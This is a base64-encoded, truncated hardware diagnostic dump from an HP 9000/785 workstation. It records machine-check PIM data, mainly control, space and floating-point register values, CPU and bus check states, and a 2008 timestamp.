ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAKPFByZXNzIGFueSBrZXkgdG8gY29udGludWUgKHEg
dG8gcXVpdCk+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKQ29u
dHJvbCBSZWdpc3RlcnMgMCAtIDMxICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKMDAtMDMgICAwMDAwMDAwMDAw
MDAwMDAwICAwMDAwMDAwMDAwMDAwMDAwICAwMDAwMDAwMDAwMDAwMDAwICAwMDAwMDAwMDAwMDAw
MDAwICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAKMDQtMDcgICAwMDAwMDAwMDAwMDAwMDAwICAwMDAwMDAw
MDAwMDAwMDAwICAwMDAwMDAwMDAwMDAwMDAwICAwMDAwMDAwMDAwMDAwMDAwICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAKMDgtMTEgICAwMDAwMDAwMDAwMDA3YWQyICAwMDAwMDAwMDAwMDAwMDAwICAwMDAw
MDAwMDAwMDAwMGMwICAwMDAwMDAwMDAwMDAwMDNmICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKMTItMTUg
ICAwMDAwMDAwMDAwMDAwMDAwICAwMDAwMDAwMDAwMDAwMDAwICAwMDAwMDAwMDAwMTBmMDAwICAw
MDAwMDAwMGZmODAwMDAwICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKMTYtMTkgICAwMDAwNTU5NTg5NjNi
YTg0ICAwMDAwMDAwMDAwMDAwMDAwICAwMDAwMDAwMDEwMjdhN2M0ICAwMDAwMDAwMDBlNzkwMDlj
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAKMjAtMjMgICAwMDAwMDAwMGE2MjdmZmZiICAwMDAwMDAwMDgw
NDIxMDQwICAwMDAwMDBmZjAwMDZmOTBlICAwMDAwMDAwMDgwMDAwMDAwICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAKMjQtMjcgICAwMDAwMDAwMDAwNTJhMDAwICAwMDAwMDAwMDQyNTBlMDAwICAwMDAwMDAw
MDAwMDQ0MDIxICAwMDAwMDAwMGYwNDEyMDAwICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKMjgtMzEgICAw
MDAwMDAwMDU1NTU1NTU1ICAwMDAwMDAwMDU1NTU1NTU1ICAwMDAwMDAwMDhmOGUwMDAwICAwMDAw
MDAwMDExMTExMTExICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKU3BhY2UgUmVnaXN0ZXJzIDAgLSA3ICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAKMDAtMDMgICAwMDAwMDAwMCAgICAgICAgICAwMDAwMDAwMCAgICAgICAgICAwMDAwMDAwMCAg
ICAgICAgICAwMDAwM2Q2OSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKMDQtMDcgICAwMDAw
MDAwMCAgICAgICAgICAwMDAwMDAwMCAgICAgICAgICAwMDAwMDAwMCAgICAgICAgICAwMDAwMDAw
MCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKCgpJSUEgU3BhY2UgICAgICAgICAg
ICAgICAgICAgID0gMHgwMDAwMDAwMDAwMDAwMDAwICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgIApJSUEgT2Zmc2V0ICAgICAgICAgICAgICAgICAgID0gMHgw
MDAwMDAwMDEwMjdhN2M4ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIApDaGVjayBUeXBlICAgICAgICAgICAgICAgICAgID0gMHgyMDAwMDAwMCAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIApDUFUgU3Rh
dGUgICAgICAgICAgICAgICAgICAgID0gMHg5ZTAwMDAwNCAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIApDYWNoZSBDaGVjayAgICAgICAgICAg
ICAgICAgID0gMHgwMDAwMDAwMCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgIApUTEIgQ2hlY2sgICAgICAgICAgICAgICAgICAgID0gMHgwMDAw
MDAwMCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIApCdXMgQ2hlY2sgICAgICAgICAgICAgICAgICAgID0gMHgwMDMwMTAzYiAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIApBc3Npc3RzIENo
ZWNrICAgICAgICAgICAgICAgID0gMHgwMDAwMDAwMCAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIApBc3Npc3QgU3RhdGUgICAgICAgICAgICAg
ICAgID0gMHgwMDAwMDAwMCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgIApQYXRoIEluZm8gICAgICAgICAgICAgICAgICAgID0gMHgwMDAwMDAw
MCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
IApTeXN0ZW0gUmVzcG9uZGVyIEFkZHJlc3MgICAgID0gMHgwMDAwMDBmZmZlZTAxMDQwICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIApTeXN0ZW0gUmVxdWVz
dG9yIEFkZHJlc3MgICAgID0gMHhmZmZmZmZmZmZmZmEwMDAwICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgIApGbG9hdGluZy1Qb2ludCBSZWdpc3RlcnMgMCAtIDMxICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAow
MC0wMyAgIDAwMDAwMDFmMDAwMDAwMDAgIDAwMDAwMDAwMDAwMDAwMDAgIDAwMDAwMDAwMDAwMDAw
MDAgIDAwMDAwMDAwMDAwMDAwMDAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAowNC0wNyAgIDNmZDNlNjcy
YzY2NzBmOGMgIDQxZDIxNWVkMjE4MDAwMDAgIDAwMDAwMDA2NTQwMDAwMDAgIDVlYTQ5NmYwMDAw
MDAwMDAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIAowOC0xMSAgIDAwMDAwMDAzYjI2ZGU1NjAgIDNmZjAw
MDAwMDAwMDAwMDAgIDNmZjAwMDAwMDAwMDAwMDAgIDAwMDAwMDAwMDAwMDAwMDAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgIAoxMi0xNSAgIDU1NTU1NTU1NTU1NTU1NTUgIDU1NTU1NTU1NTU1NTU1NTUgIDU1
NTU1NTU1NTU1NTU1NTUgIDU1NTU1NTU1NTU1NTU1NTUgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAoxNi0x
OSAgIDU1NTU1NTU1NTU1NTU1NTUgIDU1NTU1NTU1NTU1NTU1NTUgIDU1NTU1NTU1NTU1NTU1NTUg
IDU1NTU1NTU1NTU1NTU1NTUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAoyMC0yMyAgIDU1NTU1NTU1NTU1
NTU1NTUgIDU1NTU1NTU1NTU1NTU1NTUgIDAwMDAwMDAwMDAwMDAwMDAgIDAwMDAwMDAwMDAwMDAw
MDAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgIAoyNC0yNyAgIDAwMDA4ODg2MzAwMDAwMDAgIDAwMDBjZTlh
MDAwMDAwMDAgIDAwMDAwMDAwNmUyZGY0OWMgIDQwMjRjYjVlY2YwYTk0ODAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIAoyOC0zMSAgIDNmZjAwMDAwMDAwMDAwMDAgIDAwMDAwMDAwMDAwMDAwMDAgIDQwMjRj
YjVlY2YwYTk0ODAgIDAwMDAwMDAwMDAwMDAwMDAgIAoKCic5MDAwLzc4NSBCLEMsSiBXb3Jrc3Rh
dGlvbiBVbmFyY2hpdGVjdGVkIChwZXItQ1BVKScsIHJldiAxLCAxNDAgYnl0ZXM6ICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgCkNoZWNrIFN1bW1hcnkgICAgICAgICAgICAgICAgPSAweGNiODEwNDEwMDgwMDAwMDAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCkF2YWlsYWJsZSBN
ZW1vcnkgICAgICAgICAgICAgPSAweDAwMDAwMDAwODAwMDAwMDAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCkNQVSBEaWFnbm9zZSBSZWdpc3RlciAyICAg
ICAgPSAweDAzMDAwMDAwMDAwMDAwMDQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgCkNQVSBTdGF0dXMgUmVnaXN0ZXIgMCAgICAgICAgPSAweDI0MjBjMjAw
MDAwMDAwMDAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
CkNQVSBTdGF0dXMgUmVnaXN0ZXIgMSAgICAgICAgPSAweDgwMDIwMDAwMDAwMDAwMDAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgClNBREQgTE9HICAgICAg
ICAgICAgICAgICAgICAgPSAweGQzMDgxYmZiNDg2NTExYjggICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgClJlYWQgU2hvcnQgTE9HICAgICAgICAgICAgICAg
PSAweGMxYWYwMGZmZmVlMDEwNDAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgCkVSUk9SX1NUQVRVUyAgICAgICAgICAgICAgICAgPSAweDAwMDAwMDAwMDAx
MDAwMTAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCk1F
TV9BRERSICAgICAgICAgICAgICAgICAgICAgPSAweDAwMDAwMWZmM2ZmZmZmZmYgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCk1FTV9TWU5EICAgICAgICAg
ICAgICAgICAgICAgPSAweDAwMDAwMDAwMDAwMDAwMDAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgCk1FTV9BRERSX0NPUlIgICAgICAgICAgICAgICAgPSAw
eDAwMDAwMWZmM2ZmZmZmZmYgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgCk1FTV9TWU5EX0NPUlIgICAgICAgICAgICAgICAgPSAweDAwMDAwMDAwMDAwMDAw
MDAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgClJVTl9E
QVRBX0hJR0ggICAgICAgICAgICAgICAgPSAweGMxYmZmMGZmZmVkMDgwNDAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgClJVTl9EQVRBX0xPVyAgICAgICAg
ICAgICAgICAgPSAweGMxYmZmMGZmZmVkMDgwNDAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgClJVTl9DVFJMICAgICAgICAgICAgICAgICAgICAgPSAweDAw
MDAwMjFjMDAwMDE0MTggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgClJVTl9BRERSICAgICAgICAgICAgICAgICAgICAgPSAweGMxYmZmMGZmZmVkMDgwNDAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgClN5c3RlbSBS
ZXNwb25kZXIgUGF0aCAgICAgICAgPSAweDAwZmZmZmZmMGEwMDBjMDAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgCkhQTUMgUElNIEFuYWx5c2lzIEluZm9ybWF0aW9uOiAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgClRpbWVzdGFtcCA9ICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgCiAgVHVlIERlYyAgMTYgMjE6MjM6NDcgR01UIDIwMDggICAgKDIwOjA4
OjEyOjE2OjIxOjIzOjQ3KSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgCic5MDAwLzc4NSBCLEMsSiBXb3Jrc3RhdGlvbiBI
UE1DIFBJTSBBbmFseXNpcyAocGVyLUNQVSknLCByZXYgMCwgMTMwNCBieXRlczogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
